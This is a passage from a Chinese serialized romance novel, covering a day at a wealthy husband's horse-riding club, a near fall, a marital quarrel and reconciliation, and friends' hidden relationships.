温戍礼洗完澡出来,就看到苏颂趴在床上,两手拿着手机打字,仰着脖子,翘着小脚丫,跟条鲸鱼一样,那雀跃的样子是他从没见过的。
他走近:“确定好时间了吗?”
苏颂坐起来,很快很自然,一只手还拿着手机,一只手摁着床单,仰着头看着他。
“闫丽说要十五那天,那天肯定很多人,有生意做还是做生意好了,结果她说我重利轻友。”
这是轻友吗?都请她去马场了,费用全包。闫丽就是故意的,知道他是马场老板,故意宰。
她鼓着腮帮子,又像一只海狮。
“嗯,那就十五吧。”
见她一副欲言又止的样子,温戍礼靠近,站在床尾,低头看着她,说:“马场又不是商场,生意再好,也不可能爆场。”
那是,年费动辄六位数,还别说办卡的门槛,就筛掉绝大部分人了。
他抬手,扶着她的下巴:“原来给你塞小工具的朋友,叫闫丽啊,那她还有没有教你别的什么?”
瞬间,苏颂感到侵略感十足,她下意识的后退,结果整个人跌坐下去,手机滑到了床下,发出闷响。
“最近都是你在‘照顾’我,今晚我来吧,我看有不少是给你用的,你这个朋友对你挺好,说是给我的,结果是‘照顾’着你的。”
……
转眼就到十五这天,苏颂早早就起床,被温戍礼的司机接到马场。他这个正月都在忙,过年都十五天了,也就那一天在家吃了个饭,最近又忙到很晚才回家。
苏颂到的时候,闫丽跟周正焕也来了,闫丽化着精致的妆,穿着骑马服,很美很飒,就是还一直哈欠连天的,大清早的,连形象都不管了。
“丽姐,你很困吗?”苏颂问。
闫丽说:“这个过年,我晚上就没有十二点前睡过,都是到凌晨两点。”用温戍礼的钱去做广告,生意太好了,好到要把她这个美女子摧毁。
“这个没见过世面的,一大早就催我!”闫丽斜眼刀子瞪过去,怪在周正焕头上。
周正焕那张美到不分雌雄的脸上,露出一个欠扁的笑,将闫丽上下打量,说:“到底谁没见过世面?穿着骑马服来马场的?”
083 兵不厌诈
一开口就是暴击!
闫丽这才发现,苏颂还穿着裙子呢,周正焕就不用说了,一身休闲服。
苏颂尬笑:“这里有更衣室。”
马场,说到底,社交意义大于运动意义,也不是来的人都会骑马,骑马也有快骑跟慢骑,只是被工作人员牵着马走一会儿的,穿得方便就行,所以真正需要换骑马服的人不多。
闫丽先穿着过来,暴露她从没来过马场。
周正焕说清早的空气好,马场绿化度高,自个儿先去转转了。
苏颂靠近闫丽,问:“丽姐,你会骑马吗?”
闫丽瞪她:“连你也要取笑我?”
苏颂笑着摆手,连忙否认:“不是,我是想问,你这个朋友是什么朋友,明知道你不会骑马,还提议你来马场?”
闫丽低头看着自己特意购置的装备,憋气得很,没好气的回:“不会就学啊,这有什么。”
苏颂还有疑惑:“南城的朋友,还有会员卡,有钱人啊,你刚到这边也没多久,之前我也没听你说过你这边还有朋友,难道……”
闫丽拉摆着衣服的动作一顿,抬头看她,以为她就要知道,其实她所谓的朋友就是她的男朋友,结果苏颂接着就来一句。
“你被骗了!”
幸好平地不会摔倒,周正焕说她傻,挺有依据。
十点多的时候,温戍礼跟顾辽舟还有关雎鸠来了。
苏颂私底下跟顾辽舟见过几次,但温戍礼都不知道,至于关雎鸠,两人只在她跟温戍礼的婚礼上见过,他是温戍礼的伴郎,唯一一个。所以面对这两人,苏颂只是浅浅微笑,点了个头。
哪知道顾辽舟上来就是:“嫂子,这是雎鸠啊,你忘了吗?”他一下子就弹到她身边,还大着嗓子给她介绍关雎鸠,一副跟她很熟的样子。
装什么熟啊,让不尴尬的人都有些尴尬了。关雎鸠笑笑,大概也是觉得苏颂忘记他了,才这么客气。而温戍礼,他在看她跟顾辽舟之间的距离。
不过一拳头的空隙,被他一拉,距离变大。
温戍礼搂着苏颂,相对比苏颂的局促,他显得大大方方的,说:“昨晚不是还在说,能当我伴郎的肯定是铁哥们。都是自己人,随和一点。”
温戍礼就是温戍礼,稳重,控大局。一句话,既缓解了苏颂的紧张,又解开关雎鸠的误会,让气氛恢复自然。
关雎鸠笑:“多年不见,就算弟妹忘了我,也很正常。怪戍礼,他都不带你出来。”
温和,不失幽默。也是个成熟的男人。
不像某个人,吊儿郎当的像猴!苏颂不理解温戍礼怎么会带顾辽舟一起来,明明之前也不见得他们走近。终究是她不了解他的社交。
此时,周正焕散步回来了,还带多了一个人,那人信步闲庭,还没走近,苏颂面前的黑影移开一个,关雎鸠已经快步迎过去。
“周秘……三爷。”他的步伐虽快,却走得很正,到了周扬平面前,站了一个标准的军姿。
苏颂想,要不是在公众场合,关雎鸠大概都要敬礼了。
男人们都会骑马,几句话就说好,要在马场上来几圈,苏颂听了,提出先去换衣服,温戍礼点头,她后退一步,先去更衣间。
周扬平看着她的动作,很少开口参与话题的他,同温戍礼说:“温太太真是谦逊有礼。”
闫丽见苏颂走开,也跟着过来,挽住她的手臂,说:“这些男人们说话就说话,为什么得用专业术语。”她不懂,出身的差别,在这种场合很容易暴露,“我有些后悔来了。”
不适合的圈子,强融也融不进去。
苏颂看出她的不自在了,握住她的手背说:“等会儿我教你骑马,追风的感觉你肯定会喜欢。”
有苏颂的话当钩子,闫丽也不那么难熬了,留在更衣室外头的走廊,耐心的等她。
马场的一切都是木制结构的,青青草原,搭配原木色建筑,勾阑围砌,美到……闫丽想来一根。
指尖抽出一根,把烟盒放进包里的同时,又换了个打火机出来,方形的金色漆层,上面一朵红色玫瑰妖艳。她连打火机都定制得这么张扬。
点完烟,抽了一口,闫丽才四下张望:“这里没有禁止吸烟吧?”
结果往左方向,看到来更衣室的温戍礼。他双手插兜地走着,后头还跟着一个服务员,拿着一套骑马服。
少爷的架子,摆得够够的。
温戍礼看到她,独自朝她走来。
“禁烟没有,不过禁骚。”瞧她趴在围栏边上的样子,屁股翘得高高的,一副搔首弄姿的样子,温戍礼面无表情的说。
“噗,哈,哈哈。”闫丽笑得眼睛有泪,一口烟没吐干净,呛得她两眼都红了。
“……我就说你闷骚吧!”闫丽指尖一松,把烟丢开,踩灭,声音裹着笑道,“好像让人来看看,风光霁月的温大少也会说浑话。”
“不仅闷骚,还有病,喜欢砸人家店!”说到最后,闫丽狠狠的瞪着他,明显,砸店之仇并未放下。
面对她的恶言恶语,温戍礼神态未变,说:“原来你是他的女人。”
闫丽的表情一变,瞬间变得趾高气扬,说:“知道自己惹了不该惹的人了吧?
你温大少又如何,还不是得他帮忙,项目才能进行。”
温戍礼垂眸,表情有了微妙的变化,淡道:“还真的是他。”
反应过来的闫丽,面对面,质问:“你炸我?”
温戍礼与之对视,浅淡一笑,却是一副胜利者的姿态。确定他的猜疑,这一次触碰,是他赢了。
“难怪顾辽舟查不到。”周家人,确实不是顾家能触碰到的。
他看着咬着牙瞪他的闫丽,说:“他是不好惹,但你敢说吗?你确定他能为你冒险,做出会危及他帽子的事情?”
自古以来,民不与官斗不错,但水能载舟亦能覆舟的道理,也是亘古不变。
周家能走到今天,不单单靠的是功业,还有家风,还有他们周家人个个磊落的作风。
“你是来抓他把柄的?”闫丽垂着的双手已经握住,显露出她内心不够平静。
她的表情变了又变,反观他依然稳如泰山。
084 深藏不露
哪知道温戍礼说:“没兴趣。”他转身,侧过头看她,“在她面前,管好自己的嘴,让她知道,你也完了。”
警告的意味很明显,高傲的也很明显,说完他就走了,笔直的进了男更衣室,半点把闫丽放在眼里的意思都没有。
苏颂觉得从更衣室回来后的闫丽有些奇怪,在等马当番牵马过来的空隙,苏颂问:“丽姐,你的脸色看起来好差,没事吧?”
闫丽是被温戍礼的话吓的,她不怕自己怎么样,可要是波及了他……她看向另外一边。
苏颂顺着她的视线,看到周正焕跟周扬平叔侄俩正在讨论什么。
“还是你近距离看到马匹后,害怕了?”周家叔侄俩是在讨论马匹的分配,他们的马当番已经把马牵到他们面前了,男人们是要比赛的,他们看起来是策略有争议。
苏颂看向闫丽,想说,害怕就不要骑了。但闫丽说:“骑马有什么好怕的。我只是没在马场骑过马,又不是从没骑过,我在讼平寺门口骑过,四十块一次。”
闻言,苏颂笑了,不仅没拆穿,还顺着她的话说:“嗯,丽姐就是丽姐,见识广。”
闫丽也平复好心情,不担心了,大不了回去后,再给他提个醒,晾温戍礼也不敢轻易出手。
男人们的比赛已经开始了,由顾辽舟跟关雎鸠对周扬平和周正焕,温戍礼身为马场管理者,站在场外看着,确定四匹马听话,那四个人的也马术过关后,视线转移到苏颂这边。
这是同个马场,但苏颂她们在慢骑区,有另外分开。她们的马也来了。
温戍礼走过来,问苏颂:“你自己可以吗?”他从没见过苏颂骑马,甚至前几天才听说这件事。
别人骑,或者他会觉得很安全,但是她要骑,他就有些担心。
“我带你习惯一下马?”
牵来的是小马驹,相对来说,马身矮一些,性格也温顺一些。
苏颂笑,说:“不用,这是小马,一点问题都没有。”
蓝天白云,万里绿茵,她的笑容竟然比这一切都亮眼。瞬间,温戍礼就被吸引,被感染了。
这是他从未接触过的苏颂,如果真正的苏颂是这个样子的,他一点也不反感,于是,没有再反对,只说:“小心点,万一肚子里已经有宝宝了呢?”
他靠近一些,几乎是挨着她的耳边去说的。
苏颂的耳尖迅速红了,手也下意识摸肚子:“不会吧,我那个刚走,还没到排卵期。”
并且,也就前几天晚上有过,他最近忙得早出晚归,备孕的事情便搁置了。
温戍礼自然知道不会这么准,就是要她注意点,小心点罢了。
“真够够了,注意一下我这个活人好吗。”闫丽在后头,猛地搓手臂,一副受不了的样子。
女士们也都上了马,苏颂会骑马,不让马当番牵马,闫丽的马有人牵着,当她坐在马上还是有些害怕。
那些景区的马主要的作用就是拍照,顶多走几步,跟这种一种牵着走,四周还毫无障碍,空荡荡的感觉是完全不同的。
苏颂看出她的拘谨,想让她放松点:“丽姐,不要看脚下,你看那边,好像是他们跑一圈回来了。”
第一圈是周正焕先到,但顾辽舟跟关雎鸠分别第二和第三个过去,周扬平慢一点点,两组的平均速度实际上差不多,但还有第二圈,要最后最先抵达的才算赢。
闫丽看他们策马奔腾的样子,不仅不怕了,还有些花痴起来:“好帅!”
苏颂闷笑,问:“你要不要也跑一圈?”
闫丽马上就说想想想,她向来是个胆大敢闯不消停的人,马上就让苏颂过来她这边。
苏颂说:“换一匹大马吧。”
温戍礼故意过来找苏颂,就是要让马场的人知道,她是未来马场的女主人,他交代人照顾好她,自己还有点事情处理,哪知道倒是给苏颂提供了特权,让她顺利换了一匹大马。
马场的规定,普通会员一个人只能要一匹马,就算是黄金会员,也只是专门饲养马匹,专马专用,但都不能随便换马匹,更别说同时要两匹马。
可这是马场下一任老板娘,他们不敢多言,连忙照做。马厩到这边有一段距离,等待的空隙,男人们也跑完第二圈回来了。
闫丽:“看,回来了。”
苏颂看过去,先是看到马头渐渐从那端浮现,快速的移动,使得那人白衣飘飘,几分侠士风骨,是周扬平。
“他反超了。”苏颂说。
第一圈,周扬平排名第四,但只是落后半个马身的距离,可现在,跑完第二圈回来,他直接甩掉其余三人,由马当番念出的计时,他足足快了第二名十秒。
这个时间,只要赛马过的人才知道,差距有多大。
周扬平,吊打了其余三人。
温戍礼打完电话回来,就看到顾辽舟垂头丧气的,走近一听,就知道是他们比赛输了,还输得很惨。
关雎鸠一直仰慕周扬平,输了比赛不仅不气馁,还崇拜的说:“早就听说三爷的马术最得周老爷子真传,今天见识到了。”
周正焕跑了个第三,跟关雎鸠只差了半秒,闻言,笑,说:“外面的人真爱瞎传,我小叔跟我爷爷相差了四十岁,等我小叔长大,我爷爷都要六十了,还能教他骑马,骨头不得颠散。”
周扬平稍微敛起笑意,问道:“又想挨家法?”笑是他惯常的表情, 但听语句,就能听出冷意来了。
不怒自威,在周扬平身上得到体现。
周正焕立刻站直,说:“我只是要说,是小叔你天赋异禀,样样精通。”
站在温戍礼身边的顾辽舟低语:“一个个都是马屁精。”
温戍礼:“你想要我帮你拿下南华街另一半商铺的时候,也没少说我好话。”
顾辽舟:“……”这家伙到底是哪边的。哦,对了,肯定是他这个年过得太张狂了,有时候忍不住在他面前嘴欠了。
温戍礼朝前走去,顾辽舟在后,悄悄的打了自己的嘴巴一下。
085 马上巾帼。温太太惊艳全场
温戍礼同周扬平说:“彩头我已经让人准备好了,等会儿一起带回去。”
马场有马场潜在的规矩,既然是比赛,就会有彩头,有些公子哥会自己准备,当然都是不菲的珍贵物,但周家人的身份敏感,就算关雎鸠有意准备贵重的彩头,也怕冒犯,所以默认马场准备的东西是最好的。
怕周扬平不肯要,关雎鸠立刻说:“戍礼这里的彩头就是一个镀金的八骏图摆件,意义大于价值,不贵重。”
周扬平依然笑笑:“有心了。”
这边,苏颂要的大马也被牵上来了。温戍礼看到那马,眉心微微一皱:“你也想跑?”
苏颂点头:“骑小马驹没意思,还容易晕马,我带丽姐转一圈。”她浅浅的笑,但很奇怪,却让温戍礼觉得很耀眼。
今天的她,好像很不一样。
但具体哪里不一样,又貌似没有。
温戍礼还想劝说,毕竟大马有烈性,加上骑马,没人牵着,安全防护又少了一层,再者,她还要两个人骑同一匹马。在他看来,这简直是buff叠加,直接拉大危险系数。
哪知道周正焕说:“好久没见你骑马了,说起来,我的马术还是你教的。”
什么?众人惊愕!
在马当番的帮助下,闫丽摇摇晃晃地上了马,苏颂则完全不用依赖他人,一脚踩马镫,一脚跨过去,动作利落干脆。
温戍礼看着她,这是他第一次看到她乖巧之外的样子,竟然是不输男子的帅气。他的视线落在同她们说话的周正焕背影上。
垂下的眼眸,敛住他不为人知的嫉妒。
顾辽舟说:“说得他那么神,不就是仗着家里有荣光。你要是上场,你肯定能赢他。”显然,他还在计较比赛输了这件事。
周扬平已经到遮阳伞下坐着,身为他迷弟的关雎鸠,也寸步不离的到那边去了。这边,现在就他们两人。
温戍礼说:“拍我马屁也没用,你的事,我帮不了。”
顾家本就是一趟浑水,说好的那半条街,他已经帮他得到了,其他的他不想掺和。
顾辽舟怎么会听不出温戍礼话里的意思,可他找准温戍礼帮,就是要他帮,上次他也说不帮,不也帮他将商铺要到手了。
他嘻嘻:“别说得那么快,万一嫂子又有让你头疼的事情,你又不好自己出手呢。”
苏颂她们在周正焕的喋喋不休下出发了,一个是以温良淑德好名声立足的贤妻,一个是以随性孤傲有个性成名的军少。可现在,一个骑上马背,英姿飒爽,一个万般叮嘱,十分关切。
都是一改常态,两人的关系眼见的深。
周家人啊,不过祖上有荣光而已,但就这荣光,就可以让很多人忌惮。温戍礼也得顾忌。
但他顾辽舟不一样,反正他手不白,也不怕再黑不黑。
温戍礼冷下脸色:“脑子要是分不清什么话能说什么话不能说,就直接不要嘴巴吧。”
瞧,他这就是在忌惮,连关于周家人的坏话都不敢听。
顾辽舟双手环胸,笑得志得意满:“你醋劲那么大,受不了他们这么亲近的。我等着。”
苏颂带着闫丽骑马,一开始只是慢走着,她让闫丽看天看云看风景,等她沉溺在景色里,放松下来,再慢慢加速,等马跑起来的时候,她才说:“丽姐,抓紧了!”
闫丽只觉得风越来越大,像是都要击破她的皮肤,随着空气阻力的增加,她抓着缰绳的力道也在加大。
“啊——好刺激啊!”闫丽喊了一声。身后的苏颂笑着,又一蹬,加快速度。
闫丽惊呼:“啊!”
她在闹她在笑的画面,也让原本不放心的男人们渐渐放松下来。
关雎鸠看着,也忍不住称赞道:“想不到戍礼的老婆,骑马这么厉害。我还没见过女孩子马术这么好的。”
正喝着茶的周扬平说:“巾帼不让须眉。别只提女孩子,她的骑马技术,比绝大部分男人都强。”
周扬平很忙,大哥二哥都在外地,他一边要忙工作上的事情,一边要顾着周家的事情,他鲜少记得谁。侄子周正焕那段时间一直念叨一个女孩子的名字,他只当是男孩子长大了,有了心仪的女孩子,没有在意。
直到,周正焕说有人在教他骑马,并且他学会了。
周家的男人从小就训练,个个精骑善射,才艺绝学。但到了周正焕这,他出生就是个早产儿,哪哪都比较弱,到底是孙子了,老爷子心疼没强求,他大哥却想通过强化训练来提升儿子的体质。
但是在他十五岁的时候,练习骑马从马背上摔下来,差点被马踩死后,从此周正焕对骑马落下了心理阴影。
随着他长大,别的体育项目他都能跟得上,唯独对马,他怎么都不愿意再学。
因为那次周正焕摔倒,是他带着去的,所以对这件事,周扬平心里总有些愧疚。
于是那个骑马多帅气,多好看的女孩子,还帮他的侄子克制了骑马的恐惧,周扬平感激,也是第一次记住“苏颂”这个名字。
此时,他看着在马背上驰骋的她们,薄唇扬高,笑得更深一些。
顾辽舟见状,也不可置信,问:“真不是你偷偷教她的?”
温戍礼不语,目光一直盯在那个娇小的身影上。
速度太快了。
变故只在一瞬间,苏颂夹着马肚子,拉着缰绳,降速的时候,忽然马头摇晃起来。
“啊!”
温戍礼立刻抬步过去,可他到底在后头,距离要比周正焕远一点,周正焕已经跨过护栏,只身在马场里面跑了。
“正焕!”周扬平跟关雎鸠也到了这边,停在护栏外。
温戍礼也跨了进去,但他到底慢一步,周正焕接住了落马的闫丽,至于苏颂,她降住了闹脾气的马,正抓着缰绳,稳稳的坐在马背上。
“相信我的技术。”温戍礼走近,竟然还听到苏颂在炫耀似的话。
“很厉害,是吗?”他极少在外人面前变脸,但这会,他冷着脸,站在那,就像是风雨欲来。
086 不是独断专行,而是关心则乱
苏颂差点跌马这件事,玩大了。
原本还计划要在马场吃午饭的,结果因为这个小插曲,也取消了。
车上,苏颂悄悄打量身旁的人,咬着唇,琢磨了好半会,也不知道怎么开口。
“只是个意外,不是没事,你别……”再沉着一张脸了,苏颂很怕他这样。
“连马都能训,难怪连人的脑袋都敢砸。够烈。”
他看过来,苏颂迎上目光。她最怕他一心情不好就说话不分轻重,他不知道,有时候他说话很伤人吗?
打温泰是他活该,她属于正当防卫,跟驯马有什么关系?跟她的性格烈不烈就更没关系了。
“敢开瓢,上夜店,还会骑马,你到底还有多少事瞒着我?”
苏颂心里很不爽,嘴上却说软话:“没有故意瞒着你,你也没问。”
温戍礼本就憋着火,当着他的面,都能跟周正焕眉来眼去,那他不在的时候呢?
脑子里又想到那些照片,泛着黄的灰色照片不算清晰,但一男一女勾肩搭背的样子,却让人想忽略都难。
“好,我问,你跟周正焕有没有交往过?”
这话,跟闫丽被盗号发过来的话一样。
她做人流这件事,两年了,一直瞒得好好的,奶奶说她没有主动提,是他自己先问的。那他是怎么知道的?
他是通过闫丽的账号知道的。
苏颂之前只是怀疑过,但现在,她确定了,因为温戍礼还说。
“是不是闫丽那个女人,我就知道,那种人只会带坏你。”
苏颂的呼吸变得很快,心跳快速的跳动着。
他竟然用她朋友的号在试探她?不,他不止不信任她,还瞒着她,他早就知道闫丽,可是她说要介绍朋友给他认识,他却从没提过。
她感到一丝欺骗!
苏颂不可置信的看着他,似乎想从他脸上看出什么表情,但没有,他没有丝毫心虚,有的只是理直气壮的质问她。
“是,你交朋友就行。顾辽舟那种背景的人你都能交往,我认识一个开过夜店的老板娘又怎么了?
你跟陈曼曼的绯闻传得整个上流圈都知道,我都没问你。我不过就是被有心人偷拍了几张照,还是被抓着角度拍的,你就揪着不放。
是,你的朋友都是好朋友,我的朋友就是不能交不能见的。”
她低着头,声音低低的,但在车厢内却格外的清晰。
“做温太太,不需要朋友我知道。”
温戍礼拧眉,想反驳她这个观点,哪知道她像是被触中开关一样,每句话都跟他对着干。
“你不用说,我知道你要说你跟顾辽舟只是有合作,跟陈曼曼更是清白的,我都知道。
但苍蝇不会叮无缝的蛋。别人也会说你跟顾辽舟在同流合污,你要是没有对陈曼曼另眼相待,别人也不会凭空造谣。
至于我,你爱怎么想,就怎么想吧,反正你一开始也不愿意娶我,是我高攀了你。”
“处于弱势的人,是没有选择权的。”
苏颂别过头,看着窗外,声音轻轻的,背影看似柔柔弱弱,但身上每块骨头都在造反。
温戍礼嘴巴张了张,第一次被人怼得说不出话,她在暗喻他是苍蝇?别人在叮他,可他现在在叮她的意思,所以他招她嫌了?
……
苏颂生气的时候不会大吵大闹,但她会罢工,这会到家,温戍礼确实有点渴了,加上也有破冰的意思,于是他说他想要喝水。
“给我倒杯水来。”
但苏颂只给他一个背影,径直的往房间走去,开门的时候,不忘喊阿姨。
阿姨连忙出来,准备倒水,可温戍礼也较劲起来。
“我要你给我倒!”
“苏颂,别耍脾气。”
从小到大被惯大的自尊心,加上自身的忍耐,他不在意她的感受,她知道他最近多忙吗?今天这三个小时,还是硬挤出来的,结果她还要跟他闹脾气?
他要杯水,是递台阶,她反而甩脸色?!
“苏颂,我的耐心有……”
“砰!”
回应他的,是苏颂用力关上的门。
温戍礼觉得,他最近太纵容着苏颂了。
苏颂进了房间,洗了澡,换了衣服,躺在床上。
他耐心有限,她还不想跟他多话呢。说她耍脾气,明明是他先挑事的好不好。
在马场的时候,当着那么多人的面,他就说闫丽,说她不会骑马就不要骑,别害人。
苏颂想到他当时教训闫丽的样子,揪着床单,像是把床单当成温戍礼在拧。
听见门打开的声音,苏颂头也没回的说:“我不饿,不吃了。”
气都气饱了。
“是我。”
苏颂拧动的手顿住,她以为是阿姨。
温戍礼走进来,她能感受到他站在床边,他的体温在慢慢侵袭过来。苏颂僵着身体,一时间不知道应该怎么反应好。
“饭都不吃,那奶奶要不要去接?”
奶奶?!
苏颂快速翻身,这才发现,温戍礼也洗了澡,已经换了一套衣服。
“今年不能去云城了,所以我让人带奶奶过来,不是故意散了中午的饭局,是飞机提前了,奶奶要提前到。”
他看着她说:“朋友可以改日再聚,今天是正月十五,我们先团圆。”
以往,苏颂跟温戍礼也闹过脾气,偶尔她也会顶上几句,但换来的都是他连日的不回家,她问,他就说忙,总之到最后,苏颂想再争辩都无从提起,话题总是无疾而终,而她气也发不出来。
可这次,苏颂却完全消气了,因为他说,取消午饭的计划,是因为她奶奶来了,这是他顾及她念家,特意的安排。
要不是刚刚才在这部车上闹别扭过,苏颂又要以为他是爱自己的,所以才这样费心思。
他又打开电脑在忙工作,但这次,苏颂没有选择自己憋屈,她问:“那你为什么要那样说丽姐?”
那么多人,他太不给面子了。
温戍礼转过头,大概看出她还有很多疑惑,一手合上笔记本,又一手摘掉眼镜,将东西都放回去,说:“要不是扯马的鬃毛,那马不会摇头晃脑。
她害你差点摔下来!”
不知者无畏。苏颂没看到,只会觉得是马忽然来了脾性,但他看到了,那样惊险的一幕,让他生气。
087 备选or真爱
苏颂的眼里有惊愕:“原来是丽姐扯到马的鬃**了啊。”语气却是愕然之后的淡定。
温戍礼被她这云淡风轻的样子气到,笑了一下。
“所以,我只是取消了跟你朋友们的聚餐,你就跟我闹脾气。可那个女人害你差点摔下来,就只是这样。哦?”
他气死她的双标了!
“丽姐肯定不是故意的。而且我不是没事,摔下来的是丽姐。”
这重要吗?重要的是,要不是闫丽害怕,乱抓,马就不会发脾气,就不会发生这件事。她到底会不会抓重点!
“行,你朋友都是对的。”错的都是他。
温戍礼咬着后牙槽,学着半小时前,她在车里气他的语气。
“反正被吓到的人是你,有可能摔下来,被马踩死的人也是你。反正你也是不得已才嫁给我,一个备选是没资格,跟你的朋友生气的。”
他学起女人的扭捏作态来,竟然还要更出色。
苏颂听得头皮都硬了:“我只是觉得你在那么多人面前凶丽姐不太好,丽姐那么坚强的人,眼睛都红了。”
苏颂离得近,看到了,所以才会对温戍礼独断专行的行为火气那么大。
“她觉得丢脸不是因为被我凶,是因为她在喜欢的人面前出糗了。”温戍礼太懂闫丽那种女人的心思了,前半辈子都在泥泞里挣扎,好不容易抓到上流社会的救命草,只会拼了命地往上爬。
不会骑马却想骑马,表现的概率大于好奇。
只是,万万想不到,闫丽会跟那个人在一起。
忽然,他想抽烟,思考或者面对棘手的事情,他需要尼古丁稳定心智。他并不是外界的人说的那般,万年不变。
手指在腿上曲了曲,她在,不能抽。
“什么?那里有丽姐喜欢的人,难道丽姐在南城的男朋友,就是他们几个当中的一个?”苏颂这根粗神经,终于反应过来了。
温戍礼对别人的感情事不好奇,他看着她问:“所以三年前,我真的只是备选?
有人看到周正焕带着你,拜访了南城不少富豪,求着他们给苏氏投资。”
说到最后那句话,温戍礼的喉结上下一动,有点不是滋味。
都是天之骄子,他更能明白,能让他们低头的含金量。
那时候的周正焕乳臭未干,可能腰杆还没有那么硬,才会轻易的求人,但也是因为身边的人很重要,才能让混不吝的大少爷愿意放低身段。
男人的血性使然,能为之低头的,要么是对至亲,要么就是对挚爱。
顾辽舟说他醋性大,不能忍。他说对了。
从周正焕给他苏颂还回去的那张卡开始,他就容不下了。在他看来,那是他在对他宣战。
放在腿上的手收紧。
所以对于他爸让她去找周正焕,疏通了周家的关系这件事,他对他爸发了很大的脾气。
年夜饭这件事,是温航之反过来给他的警示。
谁在意一顿饭呢,他在意的,是她的心。
“真喜欢过周正焕?”
他看着她,她对这些暗涌一无所知,但他不愿意她在感情上装糊涂。
苏颂仰着视线,与之对视,相望了一会,摇了摇头。
“我们只是朋友。”
“那李斯俊呢?”那个出现在她高烧迷糊时,呢喃出来的人呢?
。
马场,温戍礼只是带着苏颂先走了,但闫丽跟周正焕还有周扬平还留在这里。
他们开了房间,队伍还多了一个关雎鸠。
此时,麻将桌边三缺一。
周扬平出去了,还没回来,人数不够,麻将无法开始。闫丽玩着手机,忽然说。
“颂颂说,姓温的带她先走,是因为她奶奶来南城了。”
当时马差点失控,就算苏颂稳住了马匹,温戍礼还是冷了脸,对她更是劈头盖脸就一句“不会骑马就不要骑,别害人”,说完就拉着苏颂走了。
“我就说,戍礼不是对你有意见。”关雎鸠在温戍礼刚离开就这样说了。
闻言,闫丽只是轻嗤,不知内情的人只当是温戍礼担心苏颂,但被砸过店的她,知道那人就是纯纯对她有意见。
“温戍礼的人,在我们这里不受
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欢迎。”闫丽摸过周正焕的烟盒,掏烟,道,“想在我们这玩,就不能说他的好话。”
美艳的女人,夹着烟,目光逼人,很有压迫性。
关雎鸠下意识的看向周正焕,但后者不仅没反对,还给闫丽抛去打火机。
瞬间,关雎鸠就懂了,他们都不喜欢温戍礼,可他们不都是苏颂的朋友吗?
“想清楚了吗?要留下来,还是先离场?”闫丽点了烟,一身**湖的气场伴着白烟蔓延开来。
这是个不好惹的女人,关雎鸠意识到,她并不是在开玩笑。
温戍礼是他的好朋友,周三爷是他的偶像。这是给他出难题。
“我想,先去找找三爷。”他并没有顺着她的问题去选择,而是用找人来化解。关雎鸠说完,起身离开。
房间的门一关,一句“没出息”出口。
周正焕对关雎鸠是怎么样的人没兴趣,他问:“他没为难颂颂吧?”
闫丽吸一口烟,拿下,艳红的指甲把烟衬得极白极白。
“有的话,颂颂还能给我发消息解释?”白色的烟雾拢住闫丽的脸,让人看不清表情,她说,“小周,你对颂颂是不是太关心了?”
马失控的时候,别人也许没看出来,但同样坐在马背上,闫丽看见,他的手一开始的朝着苏颂伸去的,只是是她摔倒了,他才迅速把手移过来,接住她。
有些事,有了苗头深究,就会发现处处有迹象。上次他会去清吧,也是因为她说了苏颂准备了礼物,想感谢他们。
身为周家大少爷,他不缺礼物,看重的是人。
烟雾散开,带着攻击性的美艳脸庞浮现:“你知道的,阿俊喜欢颂颂。”
面对她的提醒,周正焕笑:“你说什么呢。我跟颂颂只是好朋友。”
。
斋菜芳,温戍礼接到人后,安排在了这里吃饭。看出有他在,祖孙俩不好说话,他找了借口出来。
有意给苏颂跟她奶奶留说话的空间,他来到一楼上洗手间,出来的时候,遇到了同样来吃饭的顾辽舟,他身后还有几个朋友。
088 成年人的相处法则是:等价交换
顾辽舟见到温戍礼也是惊讶,随之笑笑,说:“这么巧,早知道你也是来这里吃饭,我们就一起走了。”
在马场,温戍礼走后,顾辽舟也待不下去,那群人,一个个都把“正义凛然”挂头上,而他就是那个邪不胜正的那个邪,还寡不敌众,不走等被审判?
回头就约了其他朋友,续上午餐,这会顾辽舟让他们先上去,说明今天他请客,让他们别客气。
不会,电梯前就只有他们两个。
“你最近跟江灿关系很好?”那些人里,其中一个就是江灿。
且上一次,江灿就在King组局,还邀请了周正焕。
面对温戍礼严肃的样子,顾辽舟笑得混不吝:“我可不是只有你一个支援可以指望,所以你要帮我的话,最好快一点答应。”
他以为这样会让温戍礼对他的事情上心一些,结果温戍礼却给他警告:“让江灿插手顾家的事情,除非你想让顾家直接玩完。”
好吧,他半点不受威胁。顾辽舟也不开玩笑了,说:“开个玩笑,除了你温大少,谁还能当我的大靠山。
江灿最近好像又在跟盘,经常跟这几个人在我那聚,他们老是在我那消费,我偶尔也请一下人家,往来一下。”
“对了,闫丽跟周正焕这事你可以不用再查了,免得惊动周家人。
刚刚雎鸠发消息问我,知不知道他们两个怎么回事,感觉不清白。”关雎鸠干那行的,职业直觉最准,顾辽舟一开始还不相信,现在连关雎鸠也这样说,只能相信。
“怎么也没想到,闫丽那个女人,能抱上周家这样的大腿。”难怪他怎么都查不到。
顾辽舟刚接受这个信息,温戍礼却又否认:“不是他。”
“你已经查到了?我就说不可能是周家人。”
温戍礼眸光淡淡扫过他,给了更重磅的冲击,说:“是周扬平。”
“什么?”消息太过震惊,以至于顾辽舟当场石化。
温戍礼则是稳稳当当站在那,剔他一眼,道:“辽舟,你现在太迟钝了。难怪你堂哥卖商铺这件事,他已经卖了你才知晓。”在马场的时候,闫丽的眼神一直往周扬平身上飘,而周扬平虽然没有经常看她,却会加深笑意回应。并且在马失控的时候,周扬平很着急,迅速就到围栏边。
这次被损,顾辽舟不反驳,还问他:“你是怎么发现的?”这事太过不可思议,周扬平什么身份?闫丽又是什么身份?而且周家人家风严谨,要说跟闫丽厮混的是周正焕,还能勉强说是他年轻,经不起美色诱惑,但那可是四平八稳,老练独到的周三爷!
可温戍礼又不是捕风捉影,凭空捏造的人。
他想知道,温戍礼发现的端倪是什么。
“手串。”温戍礼说,“周扬平的手串上有一条湖绿色的流苏。”当日在云城,在隐秘复古的藤园阁,周扬平摆放在桌上的檀香木手串,就绑着这条流苏。
“跟苏颂穿回去的,那个女人的裙子上面的流苏一样。衣领上,少了一条。”
对闫丽的监视一直都有,初三那天苏颂偷偷去见清吧的事情,他知道,包括她出来的时候,换了衣服。
顾辽舟讶异:“就凭这个?”
“当然不止,在马场,我炸了闫丽,她承认了。”说这话的时候,音乐能听出他话里的得意。
顾辽舟竖起大拇指,惊叹:“不愧是你,果然老奸巨猾。”
“难怪你家继母弟弟们三个都斗不过你,你太狡猾了。”
